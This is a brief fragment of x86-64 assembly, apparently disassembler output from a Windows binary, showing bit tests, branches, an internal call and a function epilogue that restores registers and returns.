mov eax, edx
shr eax, cl
test al, 1
jne 0x140278ca4
mov cl, reloc.WLDAP32.dll_Ordinal_22
shr edx, cl
test dl, 1
je 0x140278cb0
call fcn.1402bc9ab
mov byte [0x14039d209], 0xfd
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r12
ret